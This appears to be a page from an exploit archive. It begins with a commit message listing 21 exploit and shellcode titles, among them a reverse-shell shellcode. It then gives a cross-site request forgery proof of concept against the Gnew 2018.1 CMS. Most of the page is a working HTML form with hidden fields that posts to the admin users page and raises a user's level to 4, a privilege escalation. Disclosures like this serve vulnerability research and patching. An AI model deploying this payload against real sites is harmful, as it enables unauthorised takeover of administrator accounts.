acaa042761
21 changes to exploits/shellcodes Artifex MuJS 1.0.2 - Denial of Service Artifex MuJS 1.0.2 - Integer Overflow BMC BladeLogic 8.3.00.64 - Remote Command Execution Trend Micro Threat Discovery Appliance 2.6.1062r1 - 'dlp_policy_upload.cgi' Remote Code Execution PACSOne Server 6.6.2 DICOM Web Viewer - Directory Trasversal PACSOne Server 6.6.2 DICOM Web Viewer - SQL Injection Gnew 2018.1 - Cross-Site Request Forgery Nexpose < 6.4.66 - Cross-Site Request Forgery Joomla! Component JS Support Ticket 1.1.0 - Cross-Site Request Forgery Joomla! Component Jtag Members Directory 5.3.7 - Arbitrary File Download Task Rabbit Clone 1.0 - 'id' SQL Injection TSiteBuilder 1.0 - SQL Injection Hot Scripts Clone - 'subctid' SQL Injection Multilanguage Real Estate MLM Script 3.0 - 'srch' SQL Injection Buddy Zone 2.9.9 - SQL Injection Netis WF2419 Router - Cross-Site Request Forgery KeystoneJS < 4.0.0-beta.7 - Cross-Site Request Forgery Linux/x86 - Egghunter Shellcode (12 Bytes) Linux/ARM - Reverse TCP (192.168.1.1:4444/TCP) Shell (/bin/sh) Null Free Shellcode (80 bytes)
49 lines
No EOL
2.2 KiB
HTML
49 lines
No EOL
2.2 KiB
HTML
# Exploit Title: Gnew 2018.1 - Cross-Site Request Forgery
|
||
# Date: 26/01/2018
|
||
# Exploit Author: Cyril Vallicari / HTTPCS - ZIWIT
|
||
# Vendor website : http://gnew.xyz/
|
||
# Software download : http://www.gnew.xyz/pages/download.php
|
||
# Version: 2018.1
|
||
# Tested on: Windows 10 Home x64 / Kali Linux
|
||
|
||
Product description :
|
||
|
||
Gnew is a simple content management system (CMS) written in PHP and
|
||
using a database server (MySQL, PostgreSQL or SQLite) for storage. It is
|
||
fully customizable because it uses a system of templates and supports
|
||
multiple languages
|
||
|
||
Description :
|
||
|
||
A vulnerability has been discovered in Gnew , which can be exploited by
|
||
malicious people to conduct cross-site request forgery attacks.
|
||
This can be used to get a privilege escalation on the targeted application.
|
||
|
||
POC :
|
||
|
||
------------------------------------ HTML--------------------------------------
|
||
|
||
<form action="http://Target/gnew/admin/users.php " method="POST">
|
||
<input type="hidden" name="_method" value="POST"/>
|
||
<input type="hidden" name="user_name" value="test2"/>
|
||
<input type="hidden" name="user_level" value="4"/>
|
||
<input type="hidden" name="user_email" value="gnewtest@yopmail.com"/>
|
||
<input type="hidden" name="user_show_email" value="0"/>
|
||
<input type="hidden" name="user_day" value="0"/>
|
||
<input type="hidden" name="user_month" value="0"/>
|
||
<input type="hidden" name="user_month" value="0"/>
|
||
<input type="hidden" name="user_language" value="english"/>
|
||
<input type="hidden" name="user_template" value="clean"/>
|
||
<input type="hidden" name="user_date_format" value="D,+M+jS+Y,+g:i+a"/>
|
||
<input type="hidden" name="user_date_offset" value="0"/>
|
||
<input type="hidden" name="user_avatar" value=""/>
|
||
<input type="hidden" name="user_date_offset" value="0"/>
|
||
<input type="hidden" name="user_avatar"
|
||
value="./../images/avatars/empty.png"/>
|
||
<input type="hidden" name="user_id" value="2"/>
|
||
<input type="hidden" name="user_level_old" value="1"/>
|
||
<input type="hidden" name="user_name_old" value="test2"/>
|
||
<input type="hidden" name="edit_user" value="Éditer"/>
|
||
<input type="submit" value="CSRF This"/></form>
|
||
|
||
------------------------------------ HTML END-------------------------------------- |